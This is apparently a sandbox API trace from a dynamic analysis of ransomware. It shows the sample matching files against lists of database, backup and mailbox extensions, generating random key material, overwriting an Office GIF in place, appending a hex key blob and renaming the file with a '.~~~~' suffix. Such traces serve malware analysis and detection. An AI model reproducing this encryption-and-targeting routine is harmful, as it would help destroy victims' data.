	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".VHD") returned 0x0
	[0143.682] lstrlenW (lpString=".DBV") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DBV") returned 0x0
	[0143.682] lstrlenW (lpString=".dacpac") returned 7
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.682] lstrlenW (lpString=".sdf") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".sdf") returned 0x0
	[0143.682] lstrlenW (lpString=".accdb") returned 6
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".accdb") returned 0x0
	[0143.682] lstrlenW (lpString=".DBX") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DBX") returned 0x0
	[0143.682] lstrlenW (lpString=".MDT") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".MDT") returned 0x0
	[0143.682] lstrlenW (lpString=".SQB") returned 4
	[0143.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".SQB") returned 0x0
	[0143.683] lstrlenW (lpString=".vhd") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".vhd") returned 0x0
	[0143.683] lstrlenW (lpString=".bac") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".bac") returned 0x0
	[0143.683] lstrlenW (lpString=".mdf") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".mdf") returned 0x0
	[0143.683] lstrlenW (lpString=".BAK") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".BAK") returned 0x0
	[0143.683] lstrlenW (lpString=".BAC") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".BAC") returned 0x0
	[0143.683] lstrlenW (lpString=".dbs") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".dbs") returned 0x0
	[0143.683] lstrlenW (lpString=".vhdx") returned 5
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.683] lstrlenW (lpString=".NDF") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".NDF") returned 0x0
	[0143.683] lstrlenW (lpString=".dat") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".dat") returned 0x0
	[0143.683] lstrlenW (lpString=".DBS") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DBS") returned 0x0
	[0143.683] lstrlenW (lpString=".CKP") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".CKP") returned 0x0
	[0143.683] lstrlenW (lpString=".edb") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".edb") returned 0x0
	[0143.683] lstrlenW (lpString=".PST") returned 4
	[0143.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".PST") returned 0x0
	[0143.683] lstrlenW (lpString=".dbf") returned 4
	[0143.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".dbf") returned 0x0
	[0143.684] lstrlenW (lpString=".SQL") returned 4
	[0143.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".SQL") returned 0x0
	[0143.684] lstrlenW (lpString=".pst") returned 4
	[0143.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".pst") returned 0x0
	[0143.684] lstrlenW (lpString=".dbv") returned 4
	[0143.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".dbv") returned 0x0
	[0143.684] lstrlenW (lpString=".SDF") returned 4
	[0143.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".SDF") returned 0x0
	[0143.684] lstrlenW (lpString=".dtxs") returned 5
	[0143.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.684] lstrlenW (lpString=".db3") returned 4
	[0143.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".db3") returned 0x0
	[0143.684] lstrlenW (lpString=".OST") returned 4
	[0143.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".OST") returned 0x0
	[0143.685] lstrlenW (lpString=".dbx") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".dbx") returned 0x0
	[0143.685] lstrlenW (lpString=".DB3") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DB3") returned 0x0
	[0143.685] lstrlenW (lpString=".DAT") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DAT") returned 0x0
	[0143.685] lstrlenW (lpString=".VHDX") returned 5
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.685] lstrlenW (lpString=".ndf") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".ndf") returned 0x0
	[0143.685] lstrlenW (lpString=".DB") returned 3
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DB") returned 0x0
	[0143.685] lstrlenW (lpString=".sql") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".sql") returned 0x0
	[0143.685] lstrlenW (lpString=".MYD") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".MYD") returned 0x0
	[0143.685] lstrlenW (lpString=".DBT") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DBT") returned 0x0
	[0143.685] lstrlenW (lpString=".ACCDB") returned 6
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.685] lstrlenW (lpString=".fdb") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".fdb") returned 0x0
	[0143.685] lstrlenW (lpString=".bak") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".bak") returned 0x0
	[0143.685] lstrlenW (lpString=".myd") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".myd") returned 0x0
	[0143.685] lstrlenW (lpString=".DTXS") returned 5
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.685] lstrlenW (lpString=".ckp") returned 4
	[0143.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".ckp") returned 0x0
	[0143.686] lstrlenW (lpString=".dbt") returned 4
	[0143.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".dbt") returned 0x0
	[0143.686] lstrlenW (lpString=".db") returned 3
	[0143.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".db") returned 0x0
	[0143.686] lstrlenW (lpString=".TXT") returned 4
	[0143.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".TXT") returned 0x0
	[0143.686] lstrlenW (lpString=".MDF") returned 4
	[0143.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".MDF") returned 0x0
	[0143.686] lstrlenW (lpString=".bdb") returned 4
	[0143.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".bdb") returned 0x0
	[0143.686] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.686] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0143.687] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.687] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.688] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26367776928) returned 1
	[0143.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf0d7410, dwHighDateTime=0x1d60e1e)) 
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809b18
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809b18 | out: hHeap=0x300000) returned 1
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28abbe8
	[0143.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abbe8 | out: hHeap=0x300000) returned 1
	[0143.689] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.689] GetLastError () returned 0x0
	[0143.689] GetLastError () returned 0x0
	[0143.689] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.689] GetLastError () returned 0x0
	[0143.689] GetLastError () returned 0x0
	[0143.690] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x41e5, lpOverlapped=0x0) returned 1
	[0143.694] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffbe1b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.694] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x41e5, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x41e5, lpOverlapped=0x0) returned 1
	[0143.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.694] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.694] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.695] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.695] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.695] CloseHandle (hObject=0x138) returned 1
	[0143.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28abbe8
	[0143.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif.~~~~")) returned 1
	[0143.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abbe8 | out: hHeap=0x300000) returned 1
	[0143.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.698] GetLastError () returned 0x0
	[0143.698] RtlWakeConditionVariable () returned 0x0
	[0143.698] GetCurrentThreadId () returned 0x9f4
	[0143.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".scr") returned 0x0
	[0143.698] lstrlenW (lpString=".cmd") returned 4
	[0143.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".cmd") returned 0x0
	[0143.698] lstrlenW (lpString=".dll") returned 4
	[0143.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".dll") returned 0x0
	[0143.698] lstrlenW (lpString=".bat") returned 4
	[0143.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".bat") returned 0x0
	[0143.698] lstrlenW (lpString=".cpl") returned 4
	[0143.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".cpl") returned 0x0
	[0143.698] lstrlenW (lpString=".sys") returned 4
	[0143.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".sys") returned 0x0
	[0143.698] lstrlenW (lpString=".msc") returned 4
	[0143.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".msc") returned 0x0
	[0143.698] lstrlenW (lpString=".com") returned 4
	[0143.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".com") returned 0x0
	[0143.699] lstrlenW (lpString=".lnk") returned 4
	[0143.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".lnk") returned 0x0
	[0143.699] lstrlenW (lpString=".msp") returned 4
	[0143.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".msp") returned 0x0
	[0143.699] lstrlenW (lpString=".pif") returned 4
	[0143.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".pif") returned 0x0
	[0143.699] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.701] lstrlenW (lpString=".sqb") returned 4
	[0143.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".sqb") returned 0x0
	[0143.701] lstrlenW (lpString=".ost") returned 4
	[0143.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".ost") returned 0x0
	[0143.701] lstrlenW (lpString=".txt") returned 4
	[0143.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".txt") returned 0x0
	[0143.701] lstrlenW (lpString=".mdt") returned 4
	[0143.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".mdt") returned 0x0
	[0143.702] lstrlenW (lpString=".BDB") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".BDB") returned 0x0
	[0143.702] lstrlenW (lpString=".eql") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".eql") returned 0x0
	[0143.702] lstrlenW (lpString=".DBF") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DBF") returned 0x0
	[0143.702] lstrlenW (lpString=".EQL") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".EQL") returned 0x0
	[0143.702] lstrlenW (lpString=".FDB") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".FDB") returned 0x0
	[0143.702] lstrlenW (lpString=".EDB") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".EDB") returned 0x0
	[0143.702] lstrlenW (lpString=".DACPAC") returned 7
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.702] lstrlenW (lpString=".VHD") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".VHD") returned 0x0
	[0143.702] lstrlenW (lpString=".DBV") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DBV") returned 0x0
	[0143.702] lstrlenW (lpString=".dacpac") returned 7
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.702] lstrlenW (lpString=".sdf") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".sdf") returned 0x0
	[0143.702] lstrlenW (lpString=".accdb") returned 6
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".accdb") returned 0x0
	[0143.702] lstrlenW (lpString=".DBX") returned 4
	[0143.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DBX") returned 0x0
	[0143.702] lstrlenW (lpString=".MDT") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".MDT") returned 0x0
	[0143.703] lstrlenW (lpString=".SQB") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".SQB") returned 0x0
	[0143.703] lstrlenW (lpString=".vhd") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".vhd") returned 0x0
	[0143.703] lstrlenW (lpString=".bac") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".bac") returned 0x0
	[0143.703] lstrlenW (lpString=".mdf") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".mdf") returned 0x0
	[0143.703] lstrlenW (lpString=".BAK") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".BAK") returned 0x0
	[0143.703] lstrlenW (lpString=".BAC") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".BAC") returned 0x0
	[0143.703] lstrlenW (lpString=".dbs") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".dbs") returned 0x0
	[0143.703] lstrlenW (lpString=".vhdx") returned 5
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.703] lstrlenW (lpString=".NDF") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".NDF") returned 0x0
	[0143.703] lstrlenW (lpString=".dat") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".dat") returned 0x0
	[0143.703] lstrlenW (lpString=".DBS") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".DBS") returned 0x0
	[0143.703] lstrlenW (lpString=".CKP") returned 4
	[0143.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF", lpSrch=".CKP") returned 0x0
	[0143.704] lstrlenW (lpString=".edb") returned 4
